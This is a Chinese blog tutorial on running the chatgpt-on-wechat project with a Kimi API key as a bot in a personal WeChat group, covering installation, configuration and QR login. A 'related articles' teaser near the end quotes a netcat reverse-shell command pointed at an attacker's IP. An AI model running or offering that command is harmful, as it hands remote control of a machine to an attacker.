AI智能体|我把Kimi接入了个人微信

news2024/10/5 15:32:53

大家好,我是无界生长。

最近加入AI学习交流群的小伙伴越来越多,我打算在微信群接入一个聊天机器人,让它协助管理微信群,同时也帮忙给群友解答一些问题。普通的群聊机器人肯定是不能满足需求的,得上AI大模型,不然档次太低了。经过一番调研后,发现有现成的技术方案能满足需求,直接上手进行部署测试,流程成功跑通。昨天的文章《AI智能体|手把手教你申请一个Kimi(Moonshot)的API KEY》介绍了如何申请Kimi的API KEY,今天分享一下如何把Kimi接入个人微信,充当聊天机器人。本文会出现一些技术术语,有技术基础容易上手一些,不太懂技术也不用担心,按照步骤一步步操作,完全可以学会。学会了的话,欢迎分享转发!

前提

  1. 一个微信号
  2. 一个有余额的Kimi账号
  3. 一台linux服务器/开发机

说明:

  1. 微信号建议注册一个微信小号,懂的都懂。不建议用大号测试!
  2. Kimi账号在Moonshot官网使用手机号注册,新用户有15元代金券
  3. 调用Kimi的api,对机器配置要求不高,无需GPU资源,普通配置即可

流程梳理

  1. 资源准备
    1. 账号资源
    2. 服务器资源
  2. 部署Cow项目
    1. 安装Anaconda
    2. 创建并激活python虚拟环境
    3. 安装Cow项目依赖包
    4. 修改配置
    5. 启动项目
    6. 绑定微信
    7. 效果测试

Cow开源项目

项目介绍

这里引用官方文档

chatgpt-on-wechat(简称CoW)项目是基于大模型的智能对话机器人,支持微信公众号、企业微信应用、微信、飞书、钉钉接入,可选择GPT3.5/GPT4.0/Claude/Gemini/LinkAI/ChatGLM/KIMI/文心一言/讯飞星火/通义千问/LinkAI,能处理文本、语音和图片,通过插件访问操作系统和互联网等外部资源,支持基于自有知识库定制企业AI应用。

项目地址

GitHub - zhayujie/chatgpt-on-wechat: 基于大模型搭建的聊天机器人,同时支持 微信 公众号、企业微信应用、飞书、钉钉 等接入,可选择GPT3.5/GPT4.0/Claude/文心一言/讯飞星火/通义千问/Gemini/GLM-4/Claude/Kimi/LinkAI,能处理文本、语音和图片,访问操作系统和互联网,支持基于自有知识库进行定制企业智能客服。

安装部署

Cow项目支持四种部署方式:

  1. 本地运行:一般用于功能调试,程序退出Bot就失效了,不适合长期部署;
  2. 服务器部署:操作相对麻烦一些,也是我们演示的安装部署方式,挑难的做才有挑战性
  3. Docker部署:依赖docker环境,安装部署简单
  4. Railway部署:支持一键部署,账号不充钱无法成功部署

服务器部署

我这里使用的是ModelScope提供的免费CPU实例进行演示,实例申请参考:纯福利|手把手教你如何白嫖免费的GPU资源(二)。在其他云平台提供的服务器上操作类似,不逐一演示。

启动实例

登录ModelScope账号,点击“我的NoteBook”,在“魔搭平台免费实例”标签页,选择“PAI-DSW”的CPU实例,预装镜像选择“ubuntu20.04-py38-torch2.0.1-tf2.13.0-1.9.5”,然后点击“启动实例”按钮,我这里实例已经启动了,所以截图中没有“启动实例”按钮

实例启动成功后,点击“查看Notebook”按钮,进入工作台,注意红色箭头指向的“Terminal”图标

点击“Terminal”,连接服务器,默认工作路径是在 /mnt/workspace 目录下

安装Anaconda

下载Anaconda安装脚本
wget https://repo.anaconda.com/archive/Anaconda3-2023.09-0-Linux-x86_64.sh

执行Anaconda安装脚本
bash Anaconda3-2023.09-0-Linux-x86_64.sh
安装过程中,会有询问,直接“yes”回车,默认安装路径是:/root/anaconda3

更新环境变量
source ~/.bashrc

创建并激活python虚拟环境

使用anaconda创建python3.8的虚拟环境,名称为chat
/root/anaconda3/bin/conda create -n chat python=3.8

激活chat
conda activate chat

安装Cow项目依赖包

从github拉取项目代码
git clone https://github.com/zhayujie/chatgpt-on-wechat

进入项目代码目录
cd chatgpt-on-wechat

安装必要依赖
pip3 install -r requirements.txt

安装可选依赖,推荐安装
pip3 install -r requirements-optional.txt

等待依赖成功安装完成后,进入下一步

修改配置

从配置模板复制一份配置
cp config-template.json config.json

修改config.json配置
vim config.json

看不懂配置没关系,可以复制我修改好的配置,稍微替换几个地方的内容就能用

{
  "channel_type": "wx",
  "model": "moonshot-v1-8k",
  "moonshot_api_key": "API_KEY",
  "proxy": "",
  "hot_reload": false,
  "single_chat_prefix": [
    "无心",
    "@无心"
  ],
  "single_chat_reply_prefix": "[无心] ",
  "group_chat_prefix": [
    "@无心"
  ],
  "group_name_white_list": [
    "无界生长AI学习交流群"
  ],
  "speech_recognition": false,
  "group_speech_recognition": false,
  "voice_reply_voice": false,
  "conversation_max_tokens": 2500,
  "expires_in_seconds": 3600,
  "character_desc": "你是基于大语言模型的AI智能助手,旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
  "temperature": 0.7,
  "subscribe_msg": "感谢您的关注!\n这里是AI智能助手,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
  "use_linkai": false,
  "linkai_api_key": "",
  "linkai_app_code": ""
}

需要替换的内容:

  1. API_KEY替换为你在Moonshot上申请到的API KEY的内容
  2. 无心替换为你的微信号的昵称
  3. 无界生长AI学习交流群替换为你的微信群聊名称,如果想对所有群聊生效,可以直接填写 "group_name_white_list": ["ALL_GROUP"]

官方文档与最新的可用配置有一定的gap,如果你想详细了解可用配置,可以查阅:chatgpt-on-wechat/config.py at master · zhayujie/chatgpt-on-wechat · GitHub

启动项目

执行下面指令启动项目
nohup python3 app.py & tail -f nohup.out

绑定微信

启动成功后,程序运行日志会打印4条url链接和一个二维码。

点击任意一个链接,扫描对应的二维码;或者直接扫描日志打印的二维码,都可以绑定微信,记得使用微信小号扫码。

绑定成功后,程序会打印一小段日志,如果你的打印结果和下图一致,恭喜你部署成功了

效果测试

在微信群@绑定Kimi的微信小号,发送消息“介绍一下你自己”,略微等待一会,得到回复。

与此同时,程序也会打印日志

常见问题

关键字: wxsid

Please press confirm on your phone.
[ERROR][2023-06-12 07:40:25][app.py:52] - App startup failed!
[ERROR][2023-06-12 07:40:25][app.py:53] - 'wxsid'
Traceback (most recent call last):
  File "/data/chatgpt-on-wechat-master/app.py", line 50, in run
    channel.startup()
  File "/data/chatgpt-on-wechat-master/channel/wechat/wechat_channel.py", line 115, in startup
    itchat.auto_login(
  File "/data/chatgpt-on-wechat-master/lib/itchat/components/register.py", line 38, in auto_login
    self.login(enableCmdQR=enableCmdQR, picDir=picDir, qrCallback=qrCallback,
  File "/data/chatgpt-on-wechat-master/lib/itchat/components/login.py", line 61, in login
    status = self.check_login()
  File "/data/chatgpt-on-wechat-master/lib/itchat/components/login.py", line 154, in check_login
    if process_login_info(self, r.text):
  File "/data/chatgpt-on-wechat-master/lib/itchat/components/login.py", line 206, in process_login_info
    core.loginInfo['wxsid'] = core.loginInfo['BaseRequest']['Sid'] = cookies["wxsid"]
KeyError: 'wxsid'
^C[1]+  Done                    nohup python3 app.py

微信小号没有进行实名认证,功能受限,需要在微信给小号进行实名认证,再扫码绑定微信号。

总结

本文详细介绍了如何将基于大模型的智能对话机器人chatgpt-on-wechat(CoW)接入到个人微信中,以协助管理微信群并解答问题,包括资源准备、部署Cow项目、安装Anaconda、创建并激活python虚拟环境、安装项目依赖包、修改配置、启动项目、绑定微信和效果测试等步骤。如果看完还没学会的话,可以私信我。学会了的话,欢迎转发分享给你的朋友们。


我是无界生长,如果你觉得我分享的内容对你有帮助,麻烦点个关注,带你一起玩转AI!

AI学习资料在微信公众号:无界生长,个人微信:wjsz2070



在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1672559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

EPS软件标注点坐标值

1、如下,点击右侧(尺寸标注)按钮: 2、弹出一个对话框,如下: 3、在上图对话框中设置好箭头样式和小数位数,然后点击图上一点,右击结束再鼠标指定位置,如下: 如…

同城预约上门服务家政小程序

基于Thinkphp和原生微信小程序开发的一款同城预约、上门服务、到店核销家政系统,用户端、服务端、门店端各端相互依赖又相互独立,支持选择项目、选择服务人员、选择门店多种下单方式,支持上门服务和到店核销两种服务方式,支持自营…

树莓派|连接CSI接口摄像头+opencv

CSI(Camera Serial Interface)接口摄像头是一种常见的嵌入式系统或移动设备中使用的摄像头接口。它通常用于与处理器或图像传感器进行直接连接,实现高速的图像数据传输。 CSI接口摄像头具有以下特点: 高速传输:CSI接口…

仓库管理流程详解(附作业流程图)

仓库管理流程在企业的日常运营中至关重要。它不仅是物资流转的核心环节,更关乎着企业的运营效率、成本控制和客户服务水平。一个高效、规范的仓库管理流程能够确保货物从入库到出库的各个环节有序进行,减少资源浪费和时间成本,同时帮助企业实…

pdf怎么标注红色方框?五种PDF标注红色方框方法

pdf怎么标注红色方框?在当今数字化时代,PDF文档已成为我们日常工作和学习中不可或缺的一部分。然而,如何在海量的PDF文件中快速、准确地标注出重要信息,让内容更加醒目呢?今天,我将向大家介绍五种PDF标注红…

锁和MVCC如何实现mysql的隔离级别

概述 MVCC解决读的隔离性,加锁解决写的隔离性。 读未提交 读未提交,更新数据大概率使用的是独享锁吧。 读已提交 在 Read Committed(读已提交)隔离级别下,每次执行读操作时都会生成一个新的 read view。这是因为在读…

【数据结构】-- 相交链表-环形链表

交叉链表 . - 力扣(LeetCode) 如果链表的两条链的长度一样,链表两端对齐,解决这个问题将会变得非常简单,直接分别遍历两个链表,想等时的节点即为所求。我们想办法让链表对齐--分别从a和b遍历链表&#xff…

VRRP虚拟路由器冗余协议

VRRP概述 VRRP是什么 VRRP:虚拟路由器冗余协议过把几台路由设备联合组成一台虚拟的路由设备,将虚拟路由设备的IP地址作为用户的默认网关实现与外部网络通信当网关设备发生故障时,VRRP能够选举新的网关设备承担数据流量,从而保障…

2024年最新青龙面板跑脚本教程(一)持续更新中

文章目录 步骤 1: 安装青龙面板步骤 2: 访问青龙面板步骤 3: 上传或创建JavaScript脚本步骤 4: 添加定时任务步骤 5: 查看日志示例脚本步骤 6: 管理依赖和环境变量通用依赖如下,可手动增加。 要在青龙面板上运行JavaScript脚本,首先需要确保你已经成功安…

QCC---Aptx Lossless验证

因为aptx Lossless属于高通骁龙声音的一部分,一般支持高通骁龙声音的设备会支持到,比如说手机,而且还要支持最新的aptx adaptive协议R2.2版本。但是如果手上没有这样的手机的话,有source芯片也可以去做测试验证。在最新的784.1版本…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时, nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误: 这说明此netcat不支持 -e 参数。 此时可以做如下更改: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容&…

重发布与路由决策

单点重发布 将A协议--->B协议 [r2-rip-1]import-route ospf 1 将静态---->B协议 [r2-rip-1]import-route static 将直连---->B协议 [r2-rip-1]import-route direct 双点重发布 路由回馈:指的是从某协议传出的路由信息又被传回该协议中。可以引起选路…

景源畅信:小白如何做抖音电商怎么样?

在数字浪潮中崛起的抖音电商,以其独特的平台优势吸引了众多创业者的目光。特别是对于初入电商领域的“小白”来说,如何在这个全新的领域站稳脚跟,成为他们迫切需要解答的问题。接下来,我们将深入探讨小白如何在抖音电商中开辟属于…

java+B/S架构医院绩效考核管理系统maven+Visual Studio Code+avue医院绩效管理系统4大特点

javaB/S架构医院绩效考核管理系统源码mavenVisual Studio Codeavue医院绩效管理系统4大特点 医院绩效考核管理系统,采用多维度综合绩效考核的形式,针对院内实际情况分别对工作量、KPI指标、科研、教学、管理等进行全面考核。医院可结合实际需求&#xff…

uniapp 安卓证书导出成cer文件 查看公钥

// your_alias 换成 证书详情中的别名,your_keystore.keystore 改成自己的证书文件名 keytool -export -alias your_alias -file certificate.cer -keystore your_keystore.keystore双击生成的cer文件 可以查看到证书的详细信息 其中就包括证书的公钥

Python Socket

一、服务端 from socket import *def print_hi(name):print(fHi, {name})# 允许所有ip连接IP 0.0.0.0# 端口PORT 8003# 定义一次从socket缓冲区读入512个字节数据BUFFER_LEN 1024# 实例化socket对象 listenSocket 用来监听的socketlistenSocket socket(AF_INET, SOCK_STRE…

Vulnhub-wp 获取vulnhub靶机wp搜索工具

项目地址:https://github.com/MartinxMax/vulnhub-wp 简介 搜索Vulnhub平台的解题文章,之过滤返回出正确可访问的页面 使用 $ python3 vulnhubwp.py 支持模糊搜索 [] Query: kiop 进入选项4,获取wp地址 [] Choice options: 4

【408精华知识】速看!各种排序的大总结!

文章目录 一、插入排序(一)直接插入排序(二)折半插入排序(三)希尔排序 二、交换排序(一)冒泡排序(二)快速排序 三、选择排序(一)简单选…

基于springboot+mybatis+vue的项目实战之页面参数传递

如图所示&#xff0c;删除操作可以用按钮实现&#xff0c;也可以用超链接来实现。 1、第一种情况&#xff0c;用按钮实现。 html页面相关&#xff1a; <button type"button" click"deleteId(peot.id)">删除</button> <script>new Vue(…

centos7中如何全局搜索一下nginx的配置文件?

在CentOS 7中搜索Nginx的配置文件&#xff0c;你可以使用一些常用的命令行工具&#xff0c;比如find、grep等。这些工具可以帮助你在文件系统中查找文件&#xff0c;也可以用来查找Docker容器内部的文件&#xff0c;只要你知道如何访问容器的文件系统。 1. 搜索系统中的Nginx配…